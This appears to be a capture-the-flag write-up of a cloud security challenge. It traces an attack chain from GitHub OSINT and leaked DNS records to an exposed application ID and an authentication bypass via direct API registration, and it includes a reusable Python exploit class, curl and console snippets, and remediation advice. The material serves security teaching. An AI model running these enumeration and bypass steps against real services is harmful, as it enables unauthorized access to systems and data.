Cloud Security CTF #4: "Needle in a Haystack" - Complete Technical Writeup
Challenge Overview
The fourth challenge from the Cloud Security Championship focused on discovering exposed secrets in a developer's weekend project. The scenario involved tracking down an internal knowledge base chatbot where sensitive data had been inadvertently stored.
Challenge Description: "One of our developers at Ack-Me Corp is working on a weekend side-project where he is vibe coding an internal knowledge-base chatbot for our company, where he put all of our customer records and sensitive data inside it. Your mission, if you choose to accept it - is to track down the website and obtain the secret flag."
Key Hints Provided
- Spirit Animal: "Pigeons" (VCS reference)
- Depth: "2 levels deep"
- Development Style: "Vibe Coding <3 Client Side"
Step 1: Initial Reconnaissance
Target Domain Analysis
Starting with the public-facing domain ackme-corp.net
, initial enumeration revealed limited attack surface:
# Basic DNS enumeration
dig ackme-corp.net
nslookup ackme-corp.net
# Subdomain discovery attempts
gobuster dns -d ackme-corp.net -w wordlist.txt
subfinder -d ackme-corp.net
Key Findings:
- Domain hosted on AWS S3 with CloudFront
- Limited publicly accessible endpoints
- Footer reference to an employee portal
Following the Pigeon Trail
The "pigeon" spirit animal hint pointed toward version control systems (VCS), specifically GitHub. This led to searching for developer repositories associated with the target organization.
# GitHub reconnaissance
# Search patterns:
# - "pigeon" + developer usernames
# - "ackme" or "ackme-corp"
# - Weekend project repositories
Step 2: GitHub OSINT Discovery
Developer Repository Identification
Following the Wiz Security research methodology for finding exposed secrets, we identified a public GitHub repository belonging to a developer with a pigeon-themed username. The repository appeared to be a testing/experimental project.
Repository Analysis
Key files discovered in the repository:
Repository Structure:
├── CNAME (DNS configuration)
├── index.html
└── .git/ (commit history)
DNS Configuration Leak
The CNAME file revealed internal DNS records:
# CNAME file contents showed internal subdomain structure
# Format: [level1].[level2].ackme-corp.net
Critical Finding: The commit history showed DNS record changes, revealing both current and historical internal infrastructure references.
Step 3: Internal Infrastructure Discovery
Subdomain Enumeration
Using the DNS information from the GitHub repository, we constructed potential internal URLs following the "2 levels deep" hint:
# Testing various subdomain patterns
# Pattern: [service].[environment].[internal].ackme-corp.net
Application Discovery
Through methodical testing of common service names and environment identifiers, we discovered an accessible pre-production instance of the internal chatbot application.
Step 4: Client-Side Security Analysis
HTML Source Code Review
Examining the login page source code revealed the "Vibe Coding <3 Client Side" vulnerability:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="application-id" content="[REDACTED-APP-ID]">
<title>Ack-Me Corp - Internal Knowledge Base Login</title>
</head>
<body>
<!-- Login form -->
<!-- Hidden configuration for debugging purposes -->
<div style="display:none" id="app-config"
data-app-id="[REDACTED-APP-ID]"></div>
<script>
const VIBECODE_API = 'https://www.vibecodeawebsitetoday.com';
// ... authentication code
</script>
<div class="footer">
<p class="powered-by">
<small>Powered by
<a href="https://www.vibecodeawebsitetoday.com">
vibecodeawebsitetoday.com
</a>
</small>
</p>
</div>
</body>
</html>
Critical Vulnerability: The application ID for the third-party "VibeCode" platform was exposed in:
- Meta tag in the HTML head
- Hidden div element with data attributes
- JavaScript configuration constants
Client-Side Validation Weakness
The login form implemented client-side email domain validation:
// Client-side validation only
if (!email.toLowerCase().endsWith('@ackme-corp.net')) {
showError('Access restricted to Ack-Me Corp employees only');
return;
}
Step 5: API Discovery and Enumeration
VibeCode Platform Investigation
Using the exposed application ID, we investigated the VibeCode API platform referenced in the source code:
# Navigate to the platform
https://www.vibecodeawebsitetoday.com
# API documentation discovery
https://www.vibecodeawebsitetoday.com/docs
API Documentation Analysis
The public API documentation revealed several endpoints of interest:
GET /api/apps/{app_id}/sessions # Get active sessions
POST /api/apps/{app_id}/auth/register # Register new user
POST /api/apps/{app_id}/auth/login # Login
GET /api/apps/{app_id}/auth/verify-status # Check verification status
Step 6: Session Enumeration
Active Session Discovery
Using the exposed application ID, we queried the sessions endpoint:
curl -X GET \
"https://www.vibecodeawebsitetoday.com/api/apps/[APP-ID]/sessions"
Response:
{
"app_id": "[REDACTED]",
"active_sessions": 2,
"sessions": [
{
"user": "dev_user_1",
"status": "vibing",
"duration": "2h 15m",
"genre": "lofi hip hop"
},
{
"user": "weekend_coder",
"status": "in_flow",
"duration": "45m",
"genre": "synthwave"
}
]
}
Key Observation: The username "weekend_coder" directly matched the challenge description's reference to a developer's weekend project.
Step 7: Authentication Bypass Exploitation
Vulnerability Analysis
The attack surface revealed a classic security flaw:
- Client-side: Email domain validation enforced (
@ackme-corp.net
required) - Server-side: No corresponding validation on the API endpoints
Direct API Registration
Bypassing the client-side validation by registering directly through the API:
python3 -c "
import requests
import json
url = 'https://www.vibecodeawebsitetoday.com/api/apps/[APP-ID]/auth/register'
data = {
'email': 'attacker@example.com',
'password': 'SecurePassword123!'
}
response = requests.post(url, json=data, verify=False)
print(response.status_code)
print(response.text)
"
Successful Response:
{
"status": "success",
"message": "Registration successful. You can now login with your credentials.",
"app_id": "[REDACTED]",
"verified": true,
"dev_note": "Account auto-verified for immediate access"
}
The API accepted registration with any email domain and auto-verified the account - a critical security oversight in the "vibe coding" rapid development process.
Step 8: Authenticated Access and Flag Retrieval
Bypassing Frontend Validation
With valid credentials, we needed to bypass the client-side validation on the login form. Using browser developer tools:
// Execute in browser console (F12)
fetch('http://[INTERNAL-APP-URL]/api/auth/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
email: 'attacker@example.com',
password: 'SecurePassword123!'
})
}).then(r => r.json()).then(d => {
console.log(d);
if(d.redirect) window.location.href = d.redirect;
})
Internal Chatbot Access
After successful authentication, access was granted to the internal knowledge base chatbot interface.
Data Exfiltration
Querying the chatbot for sensitive information:
User Query: "List any local files containing the word CTF"
The chatbot, lacking proper access controls and data filtering, responded with internal credentials including the CTF flag.
Attack Chain Summary
- GitHub OSINT → Discovered developer repository through "pigeon" hint
- DNS Leak Discovery → Found internal subdomain structure in CNAME and commit history
- Application Discovery → Located pre-production chatbot instance
- Client-Side Analysis → Extracted exposed Application ID from HTML source
- API Documentation → Discovered public API endpoints for the platform
- Session Enumeration → Identified active users including "weekend_coder"
- Authentication Bypass → Registered account via API, bypassing domain validation
- Data Exfiltration → Accessed chatbot and retrieved sensitive information
Vulnerability Summary
Critical Findings
Vulnerability | Impact | CVSS |
---|---|---|
Exposed Application ID in HTML | Information disclosure enabling API enumeration | Medium |
Client-side only validation | Authentication bypass, unauthorized access | Critical |
Public session enumeration API | User enumeration, reconnaissance | Medium |
DNS configuration in public repository | Internal infrastructure disclosure | Low |
Chatbot data access controls | Sensitive data disclosure | Critical |
Security Implications and Lessons
1. Client-Side Validation is Not Security
The most critical vulnerability was trusting client-side validation for security enforcement. Email domain restrictions must be validated on the server-side:
# Bad: Client-side only
if (!email.endsWith('@ackme-corp.net')) {
return error;
}
# Good: Server-side enforcement
@app.route('/api/auth/register', methods=['POST'])
def register():
email = request.json.get('email')
if not email.endswith('@ackme-corp.net'):
return {'error': 'Unauthorized domain'}, 403
# ... proceed with registration
2. Exposed Application Identifiers
Application IDs, API keys, and similar identifiers should never be exposed in client-side code. Best practices:
- Use server-side proxies for API calls
- Implement proper API authentication (OAuth, JWT)
- Never embed secrets in HTML, JavaScript, or mobile apps
- Use environment variables and secure configuration management
3. Version Control Hygiene
The CNAME file exposure demonstrates the importance of:
- Never committing infrastructure details to public repositories
- Using .gitignore for configuration files
- Reviewing commit history for sensitive data
- Understanding that "deleted" commits remain in git history
4. API Security Design
Public APIs require careful security design:
- Authentication: Require API keys or OAuth tokens
- Authorization: Implement proper access controls
- Rate Limiting: Prevent enumeration and abuse
- Information Disclosure: Avoid exposing user lists or sessions
5. "Vibe Coding" Security Debt
Rapid development ("vibe coding") can introduce security vulnerabilities:
- Auto-verification of accounts bypasses security checks
- Debug endpoints left enabled in production environments
- Client-side validation chosen for development speed
- Insufficient security review before deployment
Remediation Recommendations
Immediate Actions
- Implement Server-Side Validation
# Example: Proper email domain validation ALLOWED_DOMAINS = ['ackme-corp.net'] def validate_email_domain(email): domain = email.split('@')[1] if '@' in email else None return domain in ALLOWED_DOMAINS
- Remove Exposed Secrets
- Rotate all exposed application IDs and API keys
- Audit public repositories for sensitive data
- Use git-secrets or similar tools to prevent future leaks
- Secure API Endpoints
# Example: API authentication middleware @app.before_request def authenticate_api(): api_key = request.headers.get('X-API-Key') if not validate_api_key(api_key): return {'error': 'Unauthorized'}, 401
Long-Term Improvements
- Implement security review process for all code changes
- Use static analysis tools (Semgrep, SonarQube) in CI/CD
- Regular security training for developers
- Penetration testing of pre-production environments
- Implement defense-in-depth with multiple validation layers
Tools and Techniques Used
Reconnaissance
- DNS Enumeration: dig, nslookup, subfinder
- GitHub OSINT: Manual search, GitHub API
- Web Analysis: Browser DevTools, Burp Suite
Exploitation
- API Testing: curl, Python requests, Postman
- Browser Automation: JavaScript console injection
- Authentication: Direct API calls bypassing frontend
Python Exploitation Script Example
#!/usr/bin/env python3
import requests
import json
class VibeCodeExploit:
def __init__(self, app_id, base_url):
self.app_id = app_id
self.base_url = base_url
self.api_url = f"{base_url}/api/apps/{app_id}"
def enumerate_sessions(self):
"""Enumerate active sessions"""
r = requests.get(f"{self.api_url}/sessions")
return r.json()
def register_account(self, email, password):
"""Register new account bypassing domain validation"""
data = {'email': email, 'password': password}
r = requests.post(f"{self.api_url}/auth/register", json=data)
return r.json()
def login(self, email, password):
"""Authenticate with registered credentials"""
data = {'email': email, 'password': password}
r = requests.post(f"{self.api_url}/auth/login", json=data)
return r.json()
# Usage
exploit = VibeCodeExploit(
app_id='[REDACTED]',
base_url='https://www.vibecodeawebsitetoday.com'
)
# Enumerate sessions
sessions = exploit.enumerate_sessions()
print(f"Active users: {[s['user'] for s in sessions['sessions']]}")
# Register bypass account
result = exploit.register_account('attacker@example.com', 'Password123!')
print(f"Registration: {result['status']}")
References and Further Reading
- Wiz Security: Secrets Found, Owners Identified - Original methodology referenced in challenge
- OWASP: Testing for Authentication Bypass
- OWASP: Input Validation Cheat Sheet
- GitHub Secret Scanning
Conclusion
This challenge effectively demonstrated the security risks of rapid development practices ("vibe coding") where security is treated as an afterthought. The attack chain leveraged multiple common vulnerabilities:
- Information disclosure through public repositories
- Client-side only validation
- Exposed application identifiers
- Insufficient API security controls
The key takeaway is encapsulated in the challenge theme: "Vibe coding needs vibe security." Fast-paced development must be balanced with security fundamentals, including server-side validation, proper secret management, and defense-in-depth principles.
Challenge completed as part of the Cloud Security Championship monthly CTF series by Wiz Security. This writeup maintains a 4/4 completion record across all challenges.